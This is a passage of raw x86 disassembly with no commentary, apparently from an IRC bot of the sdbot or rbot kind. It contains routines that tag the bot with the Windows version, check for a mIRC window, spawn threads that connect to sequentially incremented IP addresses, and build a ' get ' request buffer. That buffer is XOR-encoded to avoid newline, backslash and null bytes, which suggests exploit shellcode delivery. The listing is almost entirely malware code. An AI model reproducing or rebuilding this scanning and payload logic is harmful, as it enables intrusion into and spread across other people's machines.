		mov	dword ptr [ebp-94h], 94h
		call	ds:off_41F0F8
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41298E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41296E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41295E
		mov	esi, offset a95	; "95"


loc_41295E:				; CODE XREF: .text:00412957j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4129CA
		mov	esi, offset aNt	; "NT"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41296E:				; CODE XREF: .text:0041294Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_41297E
		mov	esi, offset a98	; "98"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41297E:				; CODE XREF: .text:00412975j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4129C5
		mov	esi, offset aMe	; "ME"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_41298E:				; CODE XREF: .text:00412945j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4129C5
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4129A7
		mov	esi, offset a2k	; "2K"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: .text:0041299Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_4129B7
		mov	esi, offset aXp	; "XP"
		jmp	short loc_4129CA
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: .text:004129AEj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_4129CA


loc_4129C5:				; CODE XREF: .text:00412985j
					; .text:00412995j
		mov	esi, offset a??? ; "???"


loc_4129CA:				; CODE XREF: .text:00412965j
					; .text:0041296Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_6	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_412A0E


loc_4129E8:				; CODE XREF: .text:00412A0Cj
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_4129E8


loc_412A0E:				; CODE XREF: .text:004129E6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A14	proc near		; CODE XREF: sub_412AB7+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_412A63
		call	dword_44CCE8	; FindWindowA
		test	eax, eax
		mov	eax, offset off_437220
		jnz	short loc_412A4C
		mov	eax, offset byte_438A10


loc_412A4C:				; CODE XREF: sub_412A14+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_412A83
; ---------------------------------------------------------------------------


loc_412A63:				; CODE XREF: sub_412A14+22j
		call	dword_44CCE8	; FindWindowA
		test	eax, eax
		mov	eax, offset off_437220
		jnz	short loc_412A77
		mov	eax, offset byte_438A10


loc_412A77:				; CODE XREF: sub_412A14+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_412A83:				; CODE XREF: sub_412A14+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413E90
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_412AB2
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_415310
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		add	esp, 18h


loc_412AB2:				; CODE XREF: sub_412A14+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_412A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AB7	proc near		; CODE XREF: sub_40C929+7Fp
					; sub_40CA91+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_4371A4


loc_412AC3:				; CODE XREF: sub_412AB7+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_412ADE
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_413C30
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_412AE8
; ---------------------------------------------------------------------------


loc_412ADE:				; CODE XREF: sub_412AB7+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_412AE8:				; CODE XREF: sub_412AB7+25j
		test	eax, eax
		jnz	short loc_412AFA
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437208
		jl	short loc_412AC3
		jmp	short loc_412B08
; ---------------------------------------------------------------------------


loc_412AFA:				; CODE XREF: sub_412AB7+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_4371A8[eax*4]
		pop	ecx


loc_412B08:				; CODE XREF: sub_412AB7+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_412B1B
		push	[ebp+arg_0]
		call	sub_412A14
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_412AB7+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_412AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B20	proc near		; DATA XREF: sub_412BED+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_44CD58	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_412BDE
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 134h
		cmp	eax, 0FFFFFFFFh
		mov	dword_452134[ecx], esi
		jz	short loc_412BDE
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_44CD64	; inet_ntoa
		push	eax
		mov	edi, offset dword_7420F8
		push	offset unk_437224
		push	edi
		call	sub_413812
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40B2B5
		push	edi
		call	sub_409833
		add	esp, 28h


loc_412BDE:				; CODE XREF: sub_412B20+5Dj
					; sub_412B20+7Ej
		push	esi
		call	dword_44CD70	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_412B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_412BED	proc near		; DATA XREF: sub_40CC09+3176o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41F050
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_412C1B:				; CODE XREF: sub_412BED+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_437260
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_130]
		push	0FEh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 134h
		add	eax, offset dword_452028
		push	eax
		call	sub_415140
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_412B20
		push	edi
		push	edi
		call	ds:off_41F070
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_412C87


loc_412C7C:				; CODE XREF: sub_412BED+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_412C87
		push	32h
		call	esi	; Sleep
		jmp	short loc_412C7C
; ---------------------------------------------------------------------------


loc_412C87:				; CODE XREF: sub_412BED+8Dj
					; sub_412BED+92j
		push	[ebp+var_4]
		call	ds:dword_41F058	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_44CC20	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		jmp	loc_412C1B
sub_412BED	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db  14h
		db    1
		db    0
		db    0
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db  39h	; 9
		db  3Dh	; =
		db 0A8h	; 
		db 0CDh	; 
		db  44h	; D
		db    0
		db  0Fh
		db  85h	; 
		db  19h
		db    1
		db    0
		db    0
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; 
		db 0BEh	; 
		db    2
		db    0
		db    0
		db  80h	; 
		db  50h	; P
		db  68h	; h
		db  1Fh
		db    0
		db    2
		db    0
		db  57h	; W
		db  68h	; h
		db  60h	; `
		db 0A4h	; 
		db  42h	; B
		db    0
		db  56h	; V
		db 0FFh
		db  15h
		db  48h	; H
		db 0CDh	; 
		db  44h	; D
		db    0
		db  85h	; 
		db 0C0h	; 
		db  75h	; u
		db  53h	; S
		db  66h	; f
		db 0A1h	; 
		db  20h
		db  76h	; v
		db  43h	; C
		db    0
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0FAh	; 
		db  8Dh	; 
		db  45h	; E
		db 0FAh	; 
		db  50h	; P
		db 0E8h	; 
		db  67h	; g
		db  11h
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  45h	; E
		db 0FAh	; 
		db  50h	; P
		db  6Ah	; j
		db    1
		db  57h	; W
		db  68h	; h
		db  14h
		db  76h	; v
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db 0FCh	; 
		db 0FFh
		db  15h
		db    0
		db 0CDh	; 
		db  44h	; D
		db    0
		db  85h	; 
		db 0C0h	; 
		db  74h	; t
		db    7
		db  68h	; h
		db 0E0h	; 
		db  75h	; u
		db  43h	; C
		db    0
		db 0EBh	; 
		db    5
		db  68h	; h
		db 0B0h	; 
		db  75h	; u
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db 0B6h	; 
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db 0FFh
		db  75h	; u
		db 0FCh	; 
		db 0FFh
		db  15h
		db 0B8h	; 
		db 0CCh	; 
		db  44h	; D
		db    0
		db 0EBh	; 
		db  13h
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  70h	; p
		db  75h	; u
		db  43h	; C
		db    0
		db  50h	; P
		db 0E8h	; 
		db  98h	; 
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db  39h	; 9
		db  7Dh	; }
		db  14h
		db  75h	; u
		db  1Ah
		db  6Ah	; j
		db    1
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db 0FFh
		db  75h	; u
		db  10h
		db  50h	; P
		db 0FFh
		db  75h	; u
		db  0Ch
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db  1Dh
		db  85h	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  14h
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  8Ch	; 
		db  6Ah	; j
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; 
		db  50h	; P
		db  68h	; h
		db  3Fh	; ?
		db    0
		db  0Fh
		db    0
		db  57h	; W
		db  68h	; h
		db  78h	; x
		db 0A4h	; 
		db  42h	; B
		db    0
		db  56h	; V
		db 0FFh
		db  15h
		db  48h	; H
		db 0CDh	; 
		db  44h	; D
		db    0
		db  85h	; 
		db 0C0h	; 
		db  75h	; u
		db  47h	; G
		db  8Dh	; 
		db  45h	; E
		db 0F8h	; 
		db  6Ah	; j
		db    4
		db  50h	; P
		db  6Ah	; j
		db    4
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  75h	; u
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db 0FCh	; 
		db 0C7h	; 
		db  45h	; E
		db 0F8h	; 
		db    1
		db    0
		db    0
		db    0
		db 0FFh
		db  15h
		db    0
		db 0CDh	; 
		db  44h	; D
		db    0
		db  85h	; 
		db 0C0h	; 
		db  74h	; t
		db    7
		db  68h	; h
		db  10h
		db  75h	; u
		db  43h	; C
		db    0
		db 0EBh	; 
		db    5
		db  68h	; h
		db 0CCh	; 
		db  74h	; t
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  16h
		db  0Ah
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db 0FFh
		db  75h	; u
		db 0FCh	; 
		db 0FFh
		db  15h
		db 0B8h	; 
		db 0CCh	; 
		db  44h	; D
		db    0
		db 0EBh	; 
		db  1Ah
		db  68h	; h
		db  80h	; 
		db  74h	; t
		db  43h	; C
		db    0
		db 0EBh	; 
		db    5
		db  68h	; h
		db  40h	; @
		db  74h	; t
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db 0F1h	; 
		db    9
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
		db  39h	; 9
		db  7Dh	; }
		db  14h
		db  75h	; u
		db  1Ah
		db  6Ah	; j
		db    1
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db 0FFh
		db  75h	; u
		db  10h
		db  50h	; P
		db 0FFh
		db  75h	; u
		db  0Ch
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db  76h	; v
		db  84h	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  14h
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db 0E5h	; 
		db  69h	; i
		db 0FFh
		db 0FFh
		db  39h	; 9
		db  3Dh	; =
		db 0D0h	; 
		db 0CDh	; 
		db  44h	; D
		db    0
		db  59h	; Y
		db  0Fh
		db  85h	; 
		db  62h	; b
		db    1
		db    0
		db    0
		db  53h	; S
		db  89h	; 
		db  7Dh	; }
		db 0FCh	; 
		db  89h	; 
		db  7Dh	; }
		db 0ECh	; 
		db  89h	; 
		db  7Dh	; }
		db 0F4h	; 
; ---------------------------------------------------------------------------


loc_412E65:				; CODE XREF: .text:00412FA1j
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_44CC38
		cmp	eax, edi
		mov	[ebp-10h], eax
		jz	short loc_412F02
		cmp	eax, 0EAh
		jz	short loc_412F02
		mov	esi, offset off_4372A8


loc_412E96:				; CODE XREF: .text:00412EFBj
		push	dword ptr [esi]
		push	edi
		call	sub_40B906
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412EAD
		push	offset dword_43740C
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EAD:				; CODE XREF: .text:00412EA4j
		push	offset dword_4373D0


loc_412EB2:				; CODE XREF: .text:00412EABj
		lea	eax, [ebp-114h]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_412EE5
		push	1
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412EE5:				; CODE XREF: .text:00412EC9j
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4372C8
		jl	short loc_412E96
		jmp	loc_412F9A
; ---------------------------------------------------------------------------


loc_412F02:				; CODE XREF: .text:00412E88j
					; .text:00412E8Fj
		mov	esi, [ebp-8]
		push	1
		pop	ebx
		cmp	[ebp-4], ebx
		jb	loc_412F91


loc_412F11:				; CODE XREF: .text:00412F8Dj
		mov	edi, [esi]
		push	edi
		call	sub_4149E6
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_412F86
		push	edi
		call	sub_40B7F3
		push	eax
		push	0
		call	sub_40B906
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412F40
		push	offset dword_43739C
		jmp	short loc_412F45
; ---------------------------------------------------------------------------


loc_412F40:				; CODE XREF: .text:00412F37j
		push	offset dword_437360


loc_412F45:				; CODE XREF: .text:00412F3Ej
		lea	eax, [ebp-114h]


loc_412F4B:				; DATA XREF: .data:off_428B34o
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_412F79
		push	1
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412F79:				; CODE XREF: .text:00412F5Dj
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		pop	ecx


loc_412F86:				; CODE XREF: .text:00412F20j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp-4]
		jbe	short loc_412F11
		xor	edi, edi


loc_412F91:				; CODE XREF: .text:00412F0Bj
		push	dword ptr [ebp-8]
		call	dword_44CD68


loc_412F9A:				; CODE XREF: .text:00412EFDj
		cmp	dword ptr [ebp-10h], 0EAh
		jz	loc_412E65
		lea	eax, [ebp-114h]
		push	offset dword_437328
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_412FD0
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  85h	; 
		db 0ECh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db 0E8h	; 
		db  72h	; r
		db  43h	; C
		db    0
		db  50h	; P
		db 0E8h	; 
		db  44h	; D
		db    8
		db    0
		db    0
		db  59h	; Y
		db  59h	; Y
; ---------------------------------------------------------------------------


loc_412FD0:				; CODE XREF: .text:00412FBBj
		cmp	[ebp+14h], edi
		jnz	short loc_412FEE
		push	edi
		lea	eax, [ebp-114h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B2B5
		add	esp, 14h


loc_412FEE:				; CODE XREF: .text:00412FD3j
		lea	eax, [ebp-114h]
		push	eax
		call	sub_409833
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
off_413002	dd offset word_6A016A	; DATA XREF: sub_40C2D0+444o
		dd offset word_6A006A
		dw 0CFE8h
		dd 83FFFFFCh, 35FF10C4h, 4372A0h, 0F05015FFh, 0E2EB0041h

; =============== S U B	R O U T	I N E =======================================



sub_413020	proc near		; CODE XREF: sub_413040+Ap
					; sub_413118+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413E90
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413E90
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_413020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413040	proc near		; CODE XREF: sub_41312F+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_413020
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_41305D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41305D:				; CODE XREF: sub_413040+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_413E90
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_413E90
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4376B8, eax
		lea	eax, [edi+1]
		mov	dword_4376D9, eax
		lea	eax, [edi+17h]
		mov	dword_4376D1, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437654
		push	ebx
		mov	dword_4376E7, eax
		call	sub_4138F0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4138F0
		add	esi, 74h
		push	5
		push	offset aGet_0	; " get	"
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esi, edi
		push	10h
		push	4376CDh
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4138F0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4138F0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4376DD
		push	esi
		call	sub_4138F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413040	endp


; =============== S U B	R O U T	I N E =======================================



sub_413118	proc near		; CODE XREF: sub_41312F+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_413020
		push	eax
		call	sub_41319C
		add	esp, 0Ch
		retn
sub_413118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41312F	proc near		; CODE XREF: sub_403C2B+43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_413118
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_41314F
		cmp	eax, 0FFFFh
		jbe	short loc_413153


loc_41314F:				; CODE XREF: sub_41312F+17j
		xor	eax, eax
		jmp	short loc_413198
; ---------------------------------------------------------------------------


loc_413153:				; CODE XREF: sub_41312F+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_413020
		add	eax, 101h
		push	eax
		call	sub_413F0B
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_413020
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_413040
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4131B7
		push	esi
		mov	edi, eax
		call	sub_413F7F
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_413198:				; CODE XREF: sub_41312F+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_41312F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41319C	proc near		; CODE XREF: sub_413118+Ep
					; sub_4131B7+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4131A5
		inc	ecx


loc_4131A5:				; CODE XREF: sub_41319C+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_41319C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131B7	proc near		; CODE XREF: sub_41312F+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_4131D3
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_4131D6


loc_4131D3:				; CODE XREF: sub_4131B7+8j
					; sub_4131B7+Ej ...
		inc	[ebp+arg_C]


loc_4131D6:				; CODE XREF: sub_4131B7+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_4131FE
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4131F7
		cmp	al, 0Dh
		jz	short loc_4131F7
		cmp	al, 5Ch
		jz	short loc_4131F7
		test	al, al
		jnz	short loc_4131FE


loc_4131F7:				; CODE XREF: sub_4131B7+32j
					; sub_4131B7+36j ...
		add	[ebp+arg_C], 100h


loc_4131FE:				; CODE XREF: sub_4131B7+28j
					; sub_4131B7+3Ej
		push	[ebp+arg_C]
		call	sub_41319C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_413216
		cmp	eax, 0FFFFh
		jbe	short loc_41321D


loc_413216:				; CODE XREF: sub_4131B7+56j
		xor	eax, eax
		jmp	loc_4132BB
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_4131B7+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_7421FC
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_41324D


loc_413231:				; CODE XREF: sub_4131B7+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_413244
		cmp	al, 0Ah
		jz	short loc_413244
		cmp	al, 0Dh
		jz	short loc_413244
		cmp	al, 5Ch
		jnz	short loc_413248


loc_413244:				; CODE XREF: sub_4131B7+7Fj
					; sub_4131B7+83j ...
		inc	bl
		xor	edx, edx


loc_413248:				; CODE XREF: sub_4131B7+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_413231


loc_41324D:				; CODE XREF: sub_4131B7+78j
		cmp	ecx, esi
		mov	byte_7421FC, bl
		ja	short loc_413279
		push	15h
		push	offset dword_43763C
		push	[ebp+arg_0]
		mov	byte_437649, cl
		mov	byte_43764D, bl
		call	sub_4138F0
		add	esp, 0Ch
		push	15h
		jmp	short loc_41329A
; ---------------------------------------------------------------------------


loc_413279:				; CODE XREF: sub_4131B7+9Ej
		push	17h
		push	offset dword_437624
		push	[ebp+arg_0]
		mov	word_437632, cx
		mov	byte_437637, bl
		call	sub_4138F0
		add	esp, 0Ch
		push	17h


loc_41329A:				; CODE XREF: sub_4131B7+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_4132B6
